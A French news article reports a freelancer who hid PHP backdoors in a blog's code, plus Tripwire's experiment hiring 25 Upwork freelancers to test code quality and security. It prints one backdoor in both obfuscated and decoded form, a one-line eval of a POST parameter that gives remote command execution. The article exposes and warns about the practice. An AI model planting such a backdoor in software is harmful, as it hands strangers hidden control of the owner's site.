Les développeurs indépendants représentent-ils un risque pour la sécurité des entreprises ?
Oui, selon une étude
Les travailleurs indépendants se sont révélés être une ressource extrêmement utile pour de nombreuses petites entreprises au cours des dernières années, ce qui permet de recruter des compétences spécialisées au besoin. D’ailleurs même les grandes enseignes de la technologie, à l’instar de la NASA ou de Google, ont déjà eu recours à l'externalisation des services informatiques.
Cependant, Robert Hansen, un spécialiste du mobile, a décrit une mauvaise expérience qu’il a eue en juin 2016 lorsqu’il devait externaliser la mise à jour de son blog Smartphone Exec. Il est passé par la plateforme américaine de freelance Upwork.
« Durant la première semaine, les choses se sont bien déroulées. Une communication régulière et des délais clairs sont importants. Mais ce développeur particulier avait quelques tours dans ses manches. Tout d'abord, le compte dont il se servait était un front pour une équipe de développement plus grande. Cette équipe de développement n'était pas disposée à utiliser la fonction Upwork intégrée pour effectuer le suivi du travail dans le temps », a-t-il expliqué.
Pour rappel, Upwork se sert d’une application pour permettre au client de suivre l’évolution du travail qu’il a commandé dans le temps : l’application se charge alors d’apporter aux clients divers éléments (capture d’écran, photo prise par la webcam du travailleur indépendant – si celui-ci l’autorise –, etc.) qui seront alors situés dans une chronologie que le client pourra parcourir à sa guise. Le fait que le développeur, ainsi que l’équipe avec laquelle il travaille, refuse de se servir de cette application a été pour Hansen « Le premier signe que quelque chose allait de travers. »
« En second lieu, il a fallu 40 heures pour conditionner le code pour la livraison - quelque chose qui aurait dû être extrêmement simple à faire si le code était effectivement développé de manière professionnelle. Mais le dernier problème était le plus lourd », a-t-il continué.
« Lorsque le code m’a été livré, il était dans un format que l’iPhone ne peut pas gérer facilement – les fichiers zip. J'ai donc brisé ma règle et l'ai téléchargée dans un ordinateur et avant même de pouvoir le décompresser, Microsoft Security Essentials a trouvé quelque chose qui lui semblait suspect. J'ai donc creusé dans le code et j'ai trouvé six portes dérobées PHP qui permettraient à ce développeur et à leur équipe d'accéder à ce site. »
Voici un exemple de ce à quoi ressemblait le code avant la décompression :
Code PHP : Sélectionner tout - Visualiser dans une fenêtre à part <?PHP $viu0="sutpe_or"; $iwvk7=$viu0[0].$viu0[2].$viu0[7].$viu0[2].$viu0[6].$viu0[1].$viu0[3].$viu0[3].$viu0[4].$viu0[7]; $uvwh73=$iwvk7 ($viu0[5].$viu0[3].$viu0[6].$viu0[0].$viu0[2]); if(isset(${$uvwh73}['q490ded'])){eval( ${$uvwh73}['q490ded']);} ?>
Après la décompression, il ressemblait à ceci :
Code PHP : Sélectionner tout - Visualiser dans une fenêtre à part <?PHP if(isset(${_POST}['q490ded'])){eval(${_POST}['q490ded']);} ?>
« Fondamentalement, ce que cela dit, c'est que chaque fois que leur équipe irait sur mon site Web et ferait une demande POST sur mon site avec le paramètre ci-dessus, ils auraient pu exécuter n'importe quelle commande, comme s’ils avaient le même niveau d'accès que j'avais. »
Suite à cette situation, l’entreprise de sécurité Tripwire s’est intéressée à la question de savoir si, lorsqu’un client (entreprise ou particulier) fait appel à ce genre de travailleurs, en particulier pour des projets informatiques, cela pourrait compromettre la sécurité de l’entreprise. Pour savoir à quel point ce problème peut être répandu, l’entreprise a eu l’idée de mener une expérience auprès de 25 développeurs indépendants.
L’équipe VERT (Vulnerability and Exposure Research Team) de Tripwire a envoyé un courrier à l’ensemble des candidats avec le même projet, la création d’un site web avec différentes fonctionnalités : « Le plan était simple: créer un personnage non technique et, en tant que tel, embaucher un certain nombre de travailleurs indépendants pour créer un site web. Chaque entrepreneur a reçu le même courrier électronique avec les mêmes critères. »
Bien que l'équipe ne savait pas à quoi s'attendre, elle avait une série d'objectifs à l'esprit. Tout d'abord, elle voulait analyser les interactions avec les entrepreneurs. Comment était la communication ? Ont-ils tenté d'arnaquer le client ou le marché ? Combien accepteraient le travail, et combien le refuseraient ou tenteraient d'augmenter les enchères ?
Autant de questions que l’équipe a trouvé intéressantes même si, finalement, elle s’est fixé deux objectifs principaux :
tout d'abord, elle voulait identifier les portes dérobées, les mots de passe codés et les actions intentionnellement malveillantes prises par les entrepreneurs ;
ensuite, elle voulait trouver tous les défauts et les vulnérabilités dans le code livré.
25 développeurs ont répondu à l’appel de cette offre proposée à 250 dollars. Plusieurs ont sollicité une communication et un paiement hors de la plateforme, probablement pour éviter de payer la commission à Upwork, ce qui a conduit à la fermeture immédiate de leur compte pour violations de conditions et services. D’autres ont été exclus, car ils demandaient un montant plus élevé que le budget proposé.
Craig Young, chercheur principal en sécurité chez Tripwire
Cependant, 17 développeurs ont réussi à passer entre les mailles du filet. Ils ont mis entre 7 et 9 jours pour livrer leur client. Pendant le développement du projet, VERT a dû mettre fin à certains contrats pour plusieurs raisons, notamment :
- L'entrepreneur a fourni une installation WordPress de base sans assistance pour les utilisateurs du site afin qu’ils puissent télécharger des documents. Le contractant a refusé de fournir un remboursement et a réclamé faussement (six fois) que le travail ait été effectué selon les spécifications du client. Le support à la clientèle devait être invoqué pour forcer un remboursement ;
- L'entrepreneur a fourni des fichiers initiaux et a ensuite demandé d'annuler la commande parce qu'il « était occupé » quelques jours après le projet ;
- L'entrepreneur a demandé plus d'argent immédiatement après avoir accepté le contrat. Il a évoqué un malentendu, prétendant avoir cru que le projet était de mettre à jour un site existant plutôt que d’en créer un nouveau ;
- L'entrepreneur a régulièrement fourni des liens vers un site Web WordPress avec des problèmes de configuration qui ont conduit à des pages d’erreur. Deux semaines après la date limite, ils ont convenu de fournir un remboursement ;
- L'entrepreneur a demandé l'URL du panneau de contrôle du site et a indiqué qu'il était difficile de créer un site sans cela. Le contrat a été annulé parce qu'ils ont déclaré par la suite qu’il faudrait 20 à 25 jours plutôt que les sept jours convenus, et que le prix aurait besoin d’être renégocié ;
- L'entrepreneur a fourni un modèle de page HTML + JS et n'a pas pu fournir le jeu complet de fonctionnalités ;
- L'entrepreneur n'a pas été en mesure de fournir des produits livrables après trois semaines.
« S'il s'agissait d'un projet du monde réel, ces conflits constitueraient un problème sérieux, qui entraînerait un dépassement du budget alloué au projet ou un dépassement de la date limite », a indiqué VERT. Et de préciser qu’en plus de cela, « le client aurait eu un site Web instable. »
À la fin, seuls 10 des 17 projets commandés ont été achevés et payés, a indiqué VERT.
Craig Young, chercheur principal en sécurité chez Tripwire, a affirmé que « Nous ne pouvons raisonnablement pas nous attendre à ce que les violations des données diminuent si les sites Web conçus par les développeurs ne sont pas réalisés avec des mesures de sécurité de base intégrées ».
Afin de ne pas être victime des mêmes défauts, Tripwire conseille aux entreprises qui recherchent un nouveau site Web ou d'autres projets connexes d'être plus pointues dans le processus de recrutement, surtout lorsqu'ils envisagent de prendre des entrepreneurs dans des fuseaux horaires différents des leurs.
L'entreprise recommande également d'analyser tous les projets finis avec un scanner de vulnérabilité d'application Web et, idéalement, chercher à obtenir une évaluation par un testeur de pénétration professionnel avant que le paiement final ne soit effectué.
Source : Smartphone Exec, TripWire
Et vous ?
Avez-vous déjà trouvé ou posé des backdoors dans du code ?
Partager